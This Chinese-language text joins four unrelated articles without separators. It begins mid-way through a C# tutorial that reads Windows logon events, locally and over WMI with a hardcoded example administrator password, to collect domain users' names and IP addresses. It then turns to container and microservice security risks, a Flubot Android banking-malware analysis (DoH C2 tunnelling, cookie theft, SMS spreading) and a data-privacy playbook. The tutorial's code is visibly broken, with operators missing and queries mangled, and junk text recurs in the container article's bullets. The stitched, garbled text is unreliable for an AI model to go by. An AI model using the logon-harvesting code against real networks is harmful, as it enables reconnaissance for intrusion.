stringXPathQuery='*[System/EventID=4624]'; EventLogQueryeventLogQuery=newEventLogQuery(LogName,PathType.LogName,XPathQuery) { Session=session, TolerateQueryErrors=true, ReverseDirection=true }; using(EventLogReadereventLogReader=newEventLogReader(eventLogQuery)) { eventLogReader.Seek(System.IO.SeekOrigin.Begin,0); do { EventRecordeventData=eventLogReader.ReadEvent(); if(eventData==null) break; Console.WriteLine(eventData.FormatDescription()); eventData.Dispose(); }while(true); } } } }以上代碼能夠查詢本地日誌並輸出日誌的完整內容 2.xml格式解析為了便於提取內容，可以選擇將輸出內容轉換為xml格式 關鍵代碼： Console.WriteLine(eventData.ToXml());輸出內容示例： 從xml格式中，可直接提取出EventRecordID，關鍵代碼： XmlDocumentxmldoc=newXmlDocument(); xmldoc.LoadXml(eventData.ToXml()); XmlNodeListrecordid=xmldoc.GetElementsByTagName('EventRecordID'); Console.WriteLine(recordid[0].InnerText);提取TargetUserName需要先取出Data的內容，再做一個篩選，關鍵代碼： XmlNodeListdata=xmldoc.GetElementsByTagName('Data'); foreach(XmlNodevalueindata) { if(value.OuterXml.Contains('TargetUserName')) { Console.WriteLine(value.InnerText); } }這裡我們一共需要篩選出以下屬性： TargetUserSid TargetDomainName TargetUserName IpAddress 在做字符匹配時，由於格式固定，所以我們可以從固定偏移位置得到對應的屬性，避免多次判斷，提高查詢效率 關鍵代碼： XmlNodeListdata=xmldoc.GetElementsByTagName('Data'); StringtargetUserSid=data[4].InnerText; StringtargetDomainName=data[6].InnerText; StringtargetUserName=data[5].InnerText; StringipAddress=data[18].InnerText;3.篩選判斷條件為了篩選出有效登錄信息，這裡對targetUserSid和ipAddress的長度做了判斷，targetUserSid長度需要大於9，ipAddress長度需要大於8 關鍵代碼： XmlNodeListdata=xmldoc.GetElementsByTagName('Data'); StringtargetUserSid=data[4].InnerText; StringtargetDomainName=data[6].InnerText; StringtargetUserName=data[5].InnerText; StringipAddress=data[18].InnerText; if(targetUserSid.Length9ipAddress.Length8) { Console.WriteLine(targetUserSid); Console.WriteLine(targetDomainName); Console.WriteLine(targetUserName); Console.WriteLine(ipAddress); }4.支持篩選指定時間內的日誌可以通過修改搜索條件實現，關鍵代碼： stringXPathQuery='(Event/System/EventID=4624)andEvent/System/TimeCreated/@SystemTime='2022-01-26T02:30:39'andEvent/System/TimeCreated/@SystemTime='2022-01-26T02:30:39'andEvent/System/TimeCreated/@SystemTime=20210526ANDTimeGenerated=20210526ANDTimeGenerated=20220426'; ManagementScopes=newManagementScope('root\\CIMV2'); SelectQueryq=newSelectQuery(queryString); ManagementObjectSearchermos=newManagementObjectSearcher(s,q); intflagTotal=0; intflagExist=0; foreach(ManagementObjectoinmos.Get()) { flagTotal++; StringMessage=o.GetPropertyValue('Message').ToString(); intpos1=Message.LastIndexOf('SecurityID'); intpos2=Message.LastIndexOf('AccountName'); intpos3=Message.LastIndexOf('AccountDomain'); intpos4=Message.LastIndexOf('LogonID'); intpos5=Message.LastIndexOf('SourceNetworkAddress'); intpos6=Message.LastIndexOf('SourcePort'); intlength1=pos2-pos1-16; intlength2=pos4-pos3-20; intlength3=pos3-pos2-17; intlength4=pos6-pos5-27; if(length10||length20||length30||length40) continue; StringtargetUserSid=Message.Substring(pos1+14,length1); StringtargetDomainName=Message.Substring(pos3+17,length2); StringtargetUserName=Message.Substring(pos2+15,length3); StringipAddress=Message.Substring(pos5+24,length4); { Console.WriteLine('[+]EventRecordID:'+o.GetPropertyValue('RecordNumber')); Console.WriteLine('TimeCreated:'+o.GetPropertyValue('TimeGenerated')); Console.WriteLine('UserSid:'+targetUserSid); Console.WriteLine('DomainName:'+targetDomainName); Console.WriteLine('UserName:'+targetUserName); Console.WriteLine('IpAddress:'+ipAddress); flagExist++; } } Console.WriteLine('Total:'+flagTotal+',Exist:'+flagExist); } } }5.支持遠程登錄關鍵代碼： varopt=newConnectionOptions(); opt.Username='TEST\\Administrator'; opt.Password='Password@123'; ManagementScopes=newManagementScope('\\\\192.168.1.1\\root\\CIMV2',opt);將以上代碼整合，得出最終代碼，代碼已上傳至github，地址如下： https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpGetUserLoginIPWMI.cs 代碼支持以下功能： 可使用csc.exe進行編譯，支持3.5和4.0 支持本地和遠程日誌解析，遠程日誌解析使用WMI方式 支持判斷條件，可篩選指定日期 自動提取信息：EventRecordID、TimeCreated、UserSid、DomainName、UserName和IpAddress 0x04 小結本文介紹了獲得域用戶登錄信息的實現細節，開源兩個工具SharpGetUserLoginIPRPC.cs和SharpGetUserLoginIPWMI.cs，在通信效率上，RPC要快於WMI。

在Statista 2021 年的一項調查中，34% 的受訪者表示他們已經採用了微服務，37% 的受訪者表示他們部分使用了微服務，證明了這種開發方式的流行。 儘管微服務方法具有許多好處，包括易於擴展和管理，但它也隱藏了一些安全問題，例如可能的漏洞和通信風險。在開始開發過程之前了解預期的網絡安全風險以及如何解決這些風險將幫助您創建可靠且安全的產品。 在本文中，我們觀察了在開發應用程序時可能出現的基於容器和微服務的架構中的安全挑戰。我們還提供11 種微服務和容器安全最佳實踐。本文對那些想要有效提高產品安全性的人以及對容器和微服務不熟悉的人很有用。 什麼是容器和微服務？容器和微服務是應用程序開發的流行方法，尤其是對於復雜的解決方案。 O'Reilly 的2020 年微服務採用報告顯示，77% 的受訪者採用了微服務，其中92% 的人通過這種方法獲得了成功。此外，使用容器部署微服務的受訪者比不使用容器的受訪者更有可能報告成功。 在我們討論如何在微服務和容器中實現安全性之前，讓我們確切地探討一下這些方法是什麼以及它們為應用程序開發過程帶來了什麼好處。 容器化是一種虛擬化形式，使您能夠在稱為容器的隔離空間中運行應用程序，這些容器使用相同的共享操作系統(OS)。虛擬化允許在單個物理服務器的硬件上運行多個操作系統，而容器化允許您在單個虛擬機或服務器上使用相同的操作系統部署多個應用程序。 容器，也稱為應用程序容器或服務器應用程序容器，是包含應用程序代碼及其庫和依賴項的可執行軟件單元。根據美國國家標準與技術研究院(NIST) 的說法，應用程序容器相互隔離但仍共享底層操作系統的資源這一事實使開發人員更容易跨云有效地擴展應用程序。 開發人員更喜歡使用基於容器的架構，因為容器輕量級、可移植且易於維護和擴展。由於這些品質，容器可用於現代開發方法，如DevOps、無服務器和微服務。此外，開發人員可以精細控制每個容器可以使用多少資源，從而提高物理機的CPU 和內存利用率。 容器的好處 微服務架構，或簡稱微服務，是一種應用程序開發的架構方法，其中單個應用程序由許多小型自治服務組成。 微服務是可獨立部署的，與單體架構相比，它允許您改進應用程序代碼、添加新功能和擴展每個服務。使用微服務，您可以更新現有服務，而無需重建和重新部署整個應用程序。 每個服務代表一個單獨的代碼庫，因此可以由一個小型開發團隊管理。微服務架構簡化了創建和維護複雜應用程序的過程，但不適合小型應用程序。 微服務是松耦合的，所以如果一個服務發生故障，其餘的繼續工作，提高了整個應用程序的容錯能力。此外，它們支持多語言編程，這意味著服務不需要共享相同的技術堆棧、庫或框架。 微服務的好處 您可以單獨或一起使用容器和微服務。由於在本文中我們討論了使用這兩種方法開發應用程序的安全實踐，因此讓我們簡要探討如何將容器和微服務結合起來。 簡單來說，容器為應用程序封裝了一個輕量級的運行時環境。因此，當在容器中開發微服務時，它繼承了容器化的好處，例如可移植性、可擴展性和額外的安全層。容器為每個容器化應用程序或微服務提供隔離。因此，它們降低了安全漏洞傳播的風險。 通過在單獨的容器中運行微服務，您可以獨立部署它們，而不管每個微服務是用什麼語言編寫的。通過這種方式，容器化消除了語言、庫和框架之間任何摩擦或衝突的風險。 在服務發現方面，容器化使微服務之間的定位和通信變得更加簡單，因為它們都運行在位於同一平台上的容器中。出於同樣的原因，開發人員編排微服務也更容易。 容器微服務方案 儘管有這些優勢，但容器和微服務都有其細微差別和挑戰，包括網絡安全問題。讓我們討論一些最重要的安全問題。 基於容器和微服務的應用程序的安全挑戰與任何其他方法一樣，容器和微服務都可能給應用程序開髮帶來某些安全挑戰。為了確保產品的良好網絡安全，了解最常見的安全風險併計劃如何預防和減輕它們至關重要。 具有微服務架構的容器化應用程序的安全挑戰 1、可被利用的漏洞一般來說，與微服務和容器相關的安全問題的討論已經轉移到編排平台的安全要求上。但是，並非所有安全風險都可以在編排級別處理。例如，必須密切關注可能被利用的漏洞。 1. 鏡像漏洞是基於微服務和容器的應用程序中最常見的安全威脅。它們通常來自不安全的庫或其他依賴項。易受攻擊的圖像本身不會構成主動威脅。但是，當容器基於易受攻擊的鏡像時，會將漏洞引入整個環境。 2. 應用程序漏洞可能來自應用程序源代碼中的缺陷。例如，如果您的某個應用程序存在緩衝區溢出漏洞，攻擊者可能會利用它執行惡意代碼並接管您的容器。 3. 網絡攻擊的脆弱性。基於微服務的應用程序比單體應用程序更複雜，因為它們由許多移動部件組成。一個應用程序可以包含數百個部署在數千個容器中的微服務。對於開發人員來說，這意味著具有1,000 個動態鏈接庫(DLL) 的單體代碼應該被分解為相同數量的微服務。它使基於微服務的應用程序很容易受到網絡攻擊，因為很難確保這麼多組件的適當安全性。 2、惡意軟件風險惡意軟件攻擊的可能場景包括： 马云惹不起马云 黑客可以訪問容器並向其中註入惡意代碼，這些代碼還可以攻擊該容器、其他容器或主機操作系統中的微服務。 马云惹不起马云惡意行為者會破壞您的CI/CD 環境並將惡意軟件注入用於構建容器映像的源代碼存儲庫中。 马云惹不起马云攻擊者破壞容器註冊表並用包含惡意軟件的圖像替換圖像。 马云惹不起马云黑客誘使開發人員從外部來源下載惡意容器映像。 惡意軟件的問題在於，如果您在啟動容器之前沒有檢測到它，惡意軟件將感染您在該容器內的微服務以及整個環境。例如，它可以收集敏感數據、阻止進程或中斷其他容器的工作。 3、代碼訪問風險可以訪問和更改代碼的人越多，出現的安全風險就越大。最常見的兩種是： 1.訪問權限太寬泛。許多開發公司選擇使用微服務和容器構建應用程序的DevOps 方法，因為它打破了團隊之間的障礙並確保了持續集成和持續部署(CI/CD)。但是，DevOps 可能會導致訪問權限過於寬泛，從而增加有人在分佈式工作環境中更改代碼的風險。 2.保密管理薄弱。如果安全實踐不佳或違反安全規則，更多人可以訪問容器。例如，開發人員可能會將腳本中的硬編碼憑證放入容器中，或者他們可能將機密存儲在配置不安全的密鑰管理系統中。 4、容器間無限制通信通常，容器不能訪問它們直接控制的環境之外的任何資源——這稱為非特權模式。工程師應該只允許容器之間正確的應用程序工作所必需的通信能力。例如，應用程序容器可能會連接到數據庫容器。 每當容器擁有比嚴格要求更多的權限時，它可能會導致額外的安全風險。由於缺乏經驗或編排器管理不善導致的錯誤配置，容器可能會獲得過多的權限。 5、安全地管理數據微服務架構的分佈式框架使得保護數據變得更具挑戰性，因為難以控制對單個服務的訪問和安全授權。因此，工程師必須更加關注他們的應用程序如何確保每個服務中的數據機密性、隱私性和完整性。 另一個問題是，微服務中的數據不斷移動、更改，並在不同的服務中用於不同的目的，這為惡意行為者創造了更多的數據入口點。 6、選擇和配置工具在開發和維護微服務架構時，DevOps 團隊使用了很多工具，包括開源和第三方。雖然此類工具可幫助工程師實現DevOps 管道所需的效率，但它們並不總是提供所需的安全性。 如果您不仔細評估計劃集成到環境中的開源工具的安全功能，您就有可能在微服務和容器中產生漏洞。即使一個工具看起來足夠安全，你在配置它的設置時仍然應該小心，並隨著時間的推移不斷評估工具的安全性。 選擇適當的安全措施來解決我們上面提到的風險可能具有挑戰性。原因是容器和微服務都對開發人員如此有吸引力，因為它們簡化和加速應用程序開發的方式。如果安全措施使開發方法變得更慢、更不直接，那麼它們很可能會被忽視或忽視。 為了幫助您在不犧牲網絡安全的情況下利用容器和微服務進行應用程序開發，我們收集了11 個有用的實踐。讓我們詳細探討如何保護微服務和容器。 本文介紹了基於容器和微服務的應用程序的安全挑戰，下一章節我們將講述保護微服務和容器的11 個最佳實踐。

2021年10月至11月：Flubot4.9版出現了“Android安全更新”活動和新的重大協議更改在10月和11月的大部分時間裡，Flubot的攻擊者們沒有修改惡意軟件的版本號。 在10月初，研究人員看到了一個不同於之前DHL/Correos/Fedex或者“語音郵箱”的活動。這一次，攻擊者們開始將Flubot作為一個假冒的Android安全更新。 似乎這個新的傳播活動沒有按預期工作，因為幾天后攻擊者們繼續使用“語音郵件”傳播活動。 安靜了一段時間以後，直到11月下旬，新樣本又重新出現了，對用於與C2服務器通信的協議進行了重大更改。現在，攻擊者們不再隨意增加版本號了，即使有像這樣的重大變化。 此協議更改允許惡意軟件與C2服務器進行通信，而無需與它們建立直接連接。 Flubot使用TXTDNS請求到常見的公共DNS服務器（Google、CloudFlare和AliDNS）。然後，這些請求被轉發到實際的C2服務器（實現DNS服務器）以從服務器獲取TXT記錄響應並將其轉發給惡意軟件。從受感染設備中竊取的信息是使用RC4加密發送的（與以前的協議版本中使用的方式非常相似）並對加密字節進行編碼。這樣，編碼的有效載荷被用作DGA生成域的子域。來自C2服務器的響應也被加密和編碼為對TXT請求的TXT記錄響應，它包括執行傳播活動的smishing任務或用於竊取憑據的Web注入的命令。 通過這個新協議，Flubot使用來自谷歌和CloudFlare等知名公司的DoH服務器與C2服務器建立某種隧道。使用這種技術，通過網絡流量監控檢測惡意軟件非常困難，因為惡意軟件沒有直接與未知或惡意服務器建立連接。此外，由於它使用的是DoH，所有的DNS請求都是加密的，因此網絡流量監控無法識別那些惡意的DNS請求。 C2服務器協議中的這一重大變化也可以解釋前幾個月的低活躍度。可能開發人員正在努力改進協議以及惡意軟件和C2服務器後端代碼。 2021年12月：Flubot5.0-5.1版中出現了“FlashPlayer”活動和DGA更改最終，攻擊者們在12月決定將版本號提高到5.0。這個新版本帶來了一個小而有趣的變化：除了web注入HTML和JavaScript代碼之外，Flubot現在還可以接收url。在5.0版本之前，C2服務器會發送web注入代碼，當受害者打開目標應用程序以竊取憑證時，這些代碼被保存在設備上以備將來使用。從5.0版本開始，C2服務器轉而發送URL，所以Flubot的惡意軟件必須訪問URL並將HTML和JavaScript源代碼保存在內存中以備將來使用。 直到12月底，攻擊者們才發布了Flubot5.1。12月31日，研究人員首次發現了Flubot5.1的樣本。接著在1月2日，Flubot5.2的樣本就出來了。 5.1版對DGA進行了一些重要更改。這一次，攻擊者引入了大量TLD來生成新域，同時還引入了一個用於從C2服務器接收新的DGA種子的新命令——UPDATE_ALT_SEED。根據研究人員的研究，這個新命令從未被使用過，因為所有新感染的設備都必須使用硬編碼種子生成的域連接到C2服務器。 除了去年12月的新變化和新功能，攻擊者們還推出了一個新的活動:“FlashPlayer”。該活動與“語音郵箱”活動一起使用，後者仍然是最常用於傳播Flubot的活動。在這次新活動中，受感染設備向受害者發送了一條短信，試圖誘使他們安裝一個“FlashPlayer”應用程序，以便觀看受害者出現的虛假視頻。下圖顯示了傳播網站是多麼簡單，當受害者打開鏈接時顯示。 2022年1月：Flubot5.2-5.4版本改進Smishing功能和新的“直接回复”功能在2022年1月初，研究人員檢測到了新版Flubot的新樣本。這一次，5.2版引入了一些細微的變化，其中攻擊者增加了對smishing任務的更長文本消息的支持。他們不再使用通常的Android的“sendTextMessage”功能，而是開始使用“sendMultipartTextMessage”和“divideMessage”。這允許他們使用較長的消息，並將其拆分為多個消息。 在發現5.2版本的新樣本幾天后，又檢測到了5.3版本的樣本。不過開發者卻沒有引入新功能，而是刪除了一些未使用的舊代碼。這個版本似乎是用來清理代碼的版本。此外，在Flubot5.3的第一個樣本出現三天后，就檢測到該版本的新樣本，並增加了新的國家：日本、香港、韓國、新加坡和泰國。 到1月底，攻擊者又發布了新版本：Flubot5.4。這個新版本引入了一個有趣的新功能：直接回复。該惡意軟件現在能夠攔截受感染設備中收到的通知，並使用從C2服務器接收到的配置消息自動回复它們。 為了獲取將用於回复通知的消息，Flubot5.4引入了一個新的請求命令“GET_NOTIF_MSG”。如下圖所示，此請求命令用於獲取消息，以便在接收到新通知時最終使用該消息。 儘管這是一個提高殭屍網絡傳播能力的有趣的新功能，但它並沒有持續太久。它在以下版本中被刪除。 就在同一個月，研究人員檢測到另一個Android銀行惡意軟件Medusa，它分佈在Flubot的一些smishing任務中。這意味著，Flubot殭屍網絡又一次被用作傳播殭屍網絡來傳播另一個惡意軟件家族。 2021年8月，它被用於傳播Teabot。現在，它已被用於傳播Medusa。 如果把這些現象聯繫起來，就可以解釋為什麼會有新的“直接回复”功能和“多部分消息”的使用。由於Medusa的攻擊者們提出了使用Flubot殭屍網絡作為傳播服務的建議，這些改進可能已經引入Flubot的新功能中了。 2022年2月至4月：Flubot5.5版中新增竊取cookie功能從1月下旬（研究人員第一次在野外觀察到5.4版）到2月下旬，將近一個月過去了，新版本才發布。研究人員認為這種情況的發生與之前的時間段相似，例如2021年8月至11月，當時攻擊者們就是在這個時間段對協議進行了重大更改。這一次，攻擊者們似乎正在悄悄地開發新的Flubot5.5，它帶有一個非常有趣的功能：Cookie竊取。 通過查看新代碼，研究人員首先意識到在請求目標應用列表時發生了一點變化。此請求必須包含受感染設備中已安裝應用程序的列表。因此，C2服務器將提供目標應用程序的子集。在這個新版本中，當執行“GET_INJECTS_LIST”請求時，“.new”被附加到已安裝應用程序的包名稱中。 一開始，當使用附加到數據包名的“.new”時，C2服務器使用URL進行響應，以獲取用於竊取憑據的Web注入。 過了一段時間，C2服務器開始回复銀行和加密貨幣平台的官方URL，這看起來很奇怪。在分析了代碼之後，研究人員發現他們還引入了代碼來竊取用於顯示web注入的WebView的cookie——在本案例中，目標實體的網站。網站不同UI元素的點擊和文本更改也會被記錄並發送到C2服務器，所以攻擊者不僅竊取cookie，他們還可以通過“鍵盤記錄”竊取憑證。 竊取cookie的代碼可以接收到一個URL，就像它可以接收到一個URL來獲取web注入一樣，但這次訪問的URL並沒有接收到web注入。相反，它接收一個新的URL(官方銀行或服務URL)來加載和竊取憑據。在下圖中，顯示了來自用於下載Web注入的受感染網站的響應。在本示例中，它被用來獲取用於竊取GMailcookie的有效負載（當受害者試圖打開Android電子郵件應用程序時顯示）。 當受害者登錄到合法網站後，Flubot將接收並處理網站加載結束的事件。此時，它獲取cookie並將它們發送到C2服務器，如下圖所示。 2022年5月：Flubot版本5.6出現，會是Flubot的最後一個版本嗎？果然沒過一個月，Flubot的新版本在5月初問世，即Flubot5.6。這是最後一個已知的Flubot版本。 這個新版本增加了一個有趣的新功能：彩信發送任務。借助這項新功能，攻擊者可以繞過運營商檢測。許多用戶被感染後，他們的設備在他們不知情的情況下發送短信。 為了增加這個新功能，攻擊者們添加了新的請求命令： –GET_MMS：用於獲取電話號碼和要發送的短信（類似於之前用於發送短信的常用GET_SMS） –MMS_RATE：用於獲取發出“GET_MMS”請求並發送消息的時間速率（類似於之前用於發送短信的通常SMS_RATE）。 這個版本在5月1日發布後，C2服務器在5月21日停止工作。他們直到5月25日才下線，但他們仍然不能正常工作，因為他們的回复都是空的。最終，在6月1日，歐洲刑警組織在他們的網站上公佈，他們在不同國家警察的合作下摧毀了Flubot的基礎設施。是荷蘭警方拆除了基礎設施。這可能是因為在2022年的某個時候，Flubot C2服務器將託管服務更改為荷蘭的託管服務，使其更容易被關閉。 這是否意味著Flubot的終結？目前還不能確定，但似乎警方沒能拿到RSA私鑰，因為他們沒有讓C2服務器發送命令來檢測並移除設備上的惡意軟件。 這意味著攻擊者只需註冊新的域名，在一個“更安全”的國家建立所有的基礎設施，並提供託管服務，就能讓Flubot回歸。由於離線時間的原因，攻擊者可以用較少的被感染設備恢復他們的殭屍網絡，但仍然有一些設備繼續發送欺騙消息來感染新的設備。這取決於攻擊者的意圖，因為警察似乎還沒有找到他們。 總結Flubot是過去幾年來最活躍的銀行惡意軟件家族之一。這可能是由於他們強大的傳播策略——詐騙。這個惡意軟件一直在使用被感染的設備向從受害者智能手機中竊取的手機號碼發送短信。但是，在這個人人都習慣於網上購物的時代，再加上虛假的包裹快遞信息，使其成為一個重要的威脅。 正如我們在這篇文章中看到的，攻擊者非常頻繁地引入了新功能，這使得Flubot更加危險和具有傳播性。這些更新和新功能的很大一部分是為了提高惡意軟件在不同國家的傳播能力，還有一些是為了提高證書和竊取信息的能力。 一些更新對協議進行了重大更改，使得通過網絡監控更難被檢測到，使用基於DoH隧道的協議，這在Android惡意軟件世界中確實不常見。在出現一年半後，攻擊者開始使用荷蘭的託管服務後，被警方關閉C2服務器。不過攻擊者仍然可以將基礎設施移回“更安全”的託管並註冊新的DGA域以恢復其殭屍網絡。現在確定Flubot終結還為時過早。

這是一本用於評估、操作和加速智能數據隱私解決方案的分步工作手冊，在上一篇文章中已經闡述了製定隱私計劃策略的整體思路和實施步驟的前三部分，在這本文中將繼續圍繞數據隱私治理最佳實踐的剩餘部分。 隱私與安全數據智能由於您的數據環境不斷變化，因此根據數據源系統的更改頻率以及數據隱私政策和法律的更新，安排掃描和分析活動。這使您能夠以一致性進行擴展，並發現新的數據風險，以便現在進行優先排序。 對數據分類和用戶活動的深入了解提供了所需的數據智能，以便就如何最好地協調數據保護計劃做出明智的決策，從而優化隱私運營計劃的投資回報率。 隱私運營指標和報告管理個人和敏感數據的風險需要智能洞察，使您的數據利益相關者能夠根據風險指標、警報和報告以及摘要儀錶盤調整優先級。這使分析員能夠溝通隱私操作，例如控制措施的有效性和已實施的自動化風險補救計劃。 需要尋找的關鍵隱私操作功能包括： 風險評分——被掃描數據存儲的總體或特定隱私暴露的指標，以及隨時間變化的趨勢。 數據保護狀態——顯示通過掃描數據存儲而受保護的敏感字段和文件的百分比或數量。 數據敏感度級別——如果數據存儲符合掃描的關鍵標準，則基於分類策略（受限、機密、內部、公共等）的數據存儲的百分比或數量。 殘餘風險等級——補救暴露敏感數據的數據洩露所需的費用（如美元價值）。指標可以包括與敏感數據相關的數據字段和文件的數量、印象和趨勢。 按位置（數據存儲、部門、地理位置）和風險類型（如監管要求）將風險細分為風險的透明度 與一個或多個目標數據存儲共享的敏感數據匹配分類策略的數據存儲。 此外，風險優先級規劃必須通過突出隱私狀態的關鍵指標來實現知情決策： 優先級字段最多的敏感字段數量，例如列表和趨勢視圖。 優先級數據存儲最多的敏感字段，例如列表和趨勢視圖。 重點位置集中在哪些組織部門等位置。 基於用戶訪問和使用敏感數據的優先用戶風險。 數據隱私治理和安全儀錶盤可以突出顯示最高風險優先級、暴露成本，以及自動化補救措施（包括數據匿名化、報告、使用第三方工具編寫腳本等）的趨勢。 儀錶盤視圖示例 四、採取措施：補救數據風險您的組織需要加強數據保護並實現透明度，以降低風險並遵守隱私規定。根據新的數據智能、安全和隱私控制可以實現自動化和協調，以降低數據風險暴露，加快安全數據使用，從而為企業創造價值機會。 今天的數據隱私法規不僅要求數據受到保護並報告為安全的，還考慮到消費者權利要求個人數據的使用或共享方式具有透明度。針對風險的補救措施可能需要通過數據主體報告進行數據脫敏或刪除，以驗證個人數據的使用是否符合消費者的權利，以便進行適當的使用。 此外，儘管侵犯數據隱私可能會導致監管部門罰款，但其他類型的敏感信息（如知識產權和商業秘密）也需要保護，以免被濫用。這些數據應被視為整個組織的關鍵、高價值資產，以避免因安全漏洞和其他利用漏洞而造成的損失。 優先考慮您需要考慮的風險修復選項來協調數據隱私控制： 數據保護安全性——如數據去識別和最小化，可以在脫敏或匿名時轉換數據以供安全使用，也可以將其從進一步暴露中移除。 報告數據風險的透明度——可以在審計期間彌補漏洞，提醒利益相關者保護狀態，並通過數據主體報告（DSR）通知客戶他們的數據正在被處理，符合他們的權利。 運營自動化——隱私分析師可能需要向服務台、票務和跟踪系統提供數據智能，以進一步處理數據，以實現可視性和行動。 基於API的集成——為了協調補救，可以使用與第三方應用程序的腳本來控制基於用例的數據暴露，例如雲數據湖加密或測試數據/DevOps工具。 五、負責任的數據使用培訓解決方案用戶需要接受培訓，以了解智能數據隱私的好處，並學習如何有效地使用數據。業務和IT部門都需要一個計劃來培訓員工以支持解決方案，然後教用戶如何使用它來降低風險，實現安全的數據使用，並與組織利益相關者和消費者建立更高的透明度。 以下是通過培訓促進數據隱私治理採用的四項行動： 培訓內部支持人員。因為您的支持人員將作為您的內部數據隱私專家，所以培訓他們了解安全和負責任的數據使用最佳實踐。利用現有培訓材料，考慮供應商或服務夥伴提供的專業服務。您將需要定制培訓，以符合組織對數據的特定行業和隱私合規性要求。 培訓業務冠軍。讓您的數據主體專家參與培訓內部數據消費者，並充當影響者，推動業務用戶的採用。可以利用您的支持專家來培訓解決方案。專注於安全數據使用，作為一個加速器，使數據民主化，用於開發和改進新產品和服務、可信分析、數據安全到雲，以及通過信任提高客戶忠誠度。 為最終用戶創建培訓內容。讓業務數據主體專家為最終用戶定義實踐培訓內容，包括用例場景、發現和風險分析。培訓應定位並比較智能數據隱私方法，以演示自動化解決方案的好處。它還應該傳達您的程序策略，以便用戶了解大局，這將幫助您更好地設定長期推出的預期。此外，創建簡短的教育視頻和指南，解釋如何使用解決方案執行特定於組織數據的任務。 開放的辦公時間。在培訓課程結束後留出幾週時間，讓用戶有時間更加熟悉數據隱私解決方案。然後，提供一對一的開放辦公時間，使用數據隱私解決方案解決用戶特定的現實問題，並根據目標評估取得的進展。 六、跟踪使用情況並徵求反饋你無法改進你沒有衡量的東西。因此，閉環、衡量結果和收集反饋至關重要。 跟踪使用情況和隱私指標從監控解決方案使用和跟踪捕獲業務影響的指標開始。這些指標可能包括： 掃描的數據源 清點和分類的數據 最大風險：數據存儲和類型、位置 DSAR報告（數字、完成時間） 數據保護狀態（百分比、數字） 殘餘風險成本（優先規劃） 利用這些信息了解用戶採用情況，展示成功，並解決您發現的挑戰，以幫助推動和改善有意義的結果。 例如，隱私分析可能表明營銷部門處理更多的PII，從而產生更高的風險敞口。您可以使用這種智能來協調數據匿名化，以屏蔽特定的數據字段，而不會犧牲安全訪問記錄的總體數據實用程序。 通過了解數據使用情況，自動檢測訪問條件中的異常情況，並糾正不必要的暴露，您的數據保護計劃可以成為越來越多違反法規遵從性政策的行為與發現新的、未開發的數據之間的區別，這有助於為渴望數據的業務股東創造價值創造機會。 收集用戶反饋組織實施數據隱私解決方案，以發現和管理風險，提高情報和透明度，並保護數據。通過收集反饋並鼓勵數據用戶之間的協作，您可以利用有關數據的專業知識，並在整個組織內安全地共享數據。通過以下方式鼓勵合作並徵求用戶反饋： 從安全風險（降低風險）和安全價值創造的角度來宣傳隱私。 通過遊戲化為用戶提供審查風險的任務，增加興奮度和參與度，以發現最重要的事項。 舉辦後續研討會，通過分享技巧和竅門，討論哪些方法有效，哪些需要改進，以促進最佳實踐的採用。 七、精益求精一旦你的試點項目被證明是成功的，在業務優先級的指導下擴大隱私解決方案的使用。通過逐步向試點添加更多用戶、實施新用例，甚至創建自定義數據洞察，提高解決方案的採用率，同時確保業務涉眾能積極的參與每一個步驟。 列出你從試點項目那裡學到的關鍵見解 列出試點項目取得的快速勝利 優先考慮可以通過擴展程序來解決的新用例和難點 確定可以從中受益的新數據涉眾 擴展您的智能數據隱私功能在擴展數據隱私解決方案時，您可能希望進一步對其進行定制，以支持特定的隱私用例或監管要求。為您的隱私解決方案提供可擴展性並以一致的方式向外擴展是至關重要的。尋找能夠提供以下功能的解決方案： 自定義修復操作根據觸發的策略或按需運行的任務來考慮自定義操作。這可能包括： 在滿足風險閾值條件時屏蔽數據或運行工作流腳本 如果發生違反安全策略的情況，則向收件人發送警報，以便在發現需要通知的信息時自動處理數據主體請求或電子郵件 在違反策略、滿足數據主體請求或發現其他問題需要幫助台跟進時，創建服務管理記錄單 與syslog集成，聚合違反安全策略的行為，實現集中報告的靈活性和提醒 檢測預期行為中的異常異常檢測是一個識別敏感數據上用戶活動異常模式的過程。這可能表明存在惡意行為，例如數據洩露或憑據被盜。您的智能隱私解決方案需要能夠監控活動，通過跟踪一段時間內的趨勢來確定用戶和用戶對等組的基線行為。當用戶行為偏離基線時，可以將異常作為潛在風險進行警告和調查，以確定優先級，並使用首選的風險補救方法採取行動。 創建風險模擬計劃作為一項持續的隱私操作，您需要製定計劃，以降低一個或多個數據存儲中未受保護的敏感數據域的風險分數和剩餘風險成本。 對於每個風險模擬計劃，您應該能夠調整掃描數據存儲中敏感數據字段的保護狀態，以模擬在發生安全漏洞時對組織潛在成本的影響。 作為計劃詳細信息的一部分，風險模擬指標應以為組織選擇的貨幣顯示當前和估計的風險分數、保護狀態和剩餘風險成本。這有助於溝通並證明您提出的投資是合理的，以便為最佳投資回報率排定優先級並糾正風險。 風險模擬應該指出計劃中每個數據存儲的當前值和估計值，以及編輯計劃以保護更多數據域或關注更少數據域的靈活性 建立數據主體註冊表今天的數據隱私合規法律要求及時報告整個組織的個人數據使用情況。通過將數據映射到身份，建立數據主體註冊中心，您可以獲得數據智能洞察，以了解消費者使用了哪些數據，以及居住和法律持有狀態等屬性。除了數據沿襲，您還可以深入了解用戶權限的合規狀態，跟踪跨境數據傳輸，並在法律規定的時間範圍內自動生成DSAR報告。 結論：加快將數據作為業務資產的使用智能數據隱私解決方案通過全面的數據保護加速了數字轉型，並實現了用於風險管理的透明度。使用自動化操作控制的好處包括更快、更可靠的數據發現、更短的智能洞察時間，以及降低安全釋放價值創造機會的風險。 通過實施智能數據隱私，您可以將完全不同的機密數據作為企業資產加以保護。但要從數據中產生最大價值，不僅需要IT和安全部門廣泛採用，還需要業務用戶廣泛採用。 越來越多的敏感和個人信息提供了獲取客戶新見解、推動產品和服務創新、優化商業計劃以釋放未開發潛力的能力。但數據需要負責任地處理，以避免造成責任。通過遵循本手冊中概述的方法來演示、自動化和協調數據保護和透明度，您可以更好地讓業務用戶了解保護企業數據的價值，加快在整個組織中採用數據隱私控制，並將風險置於後視鏡中。

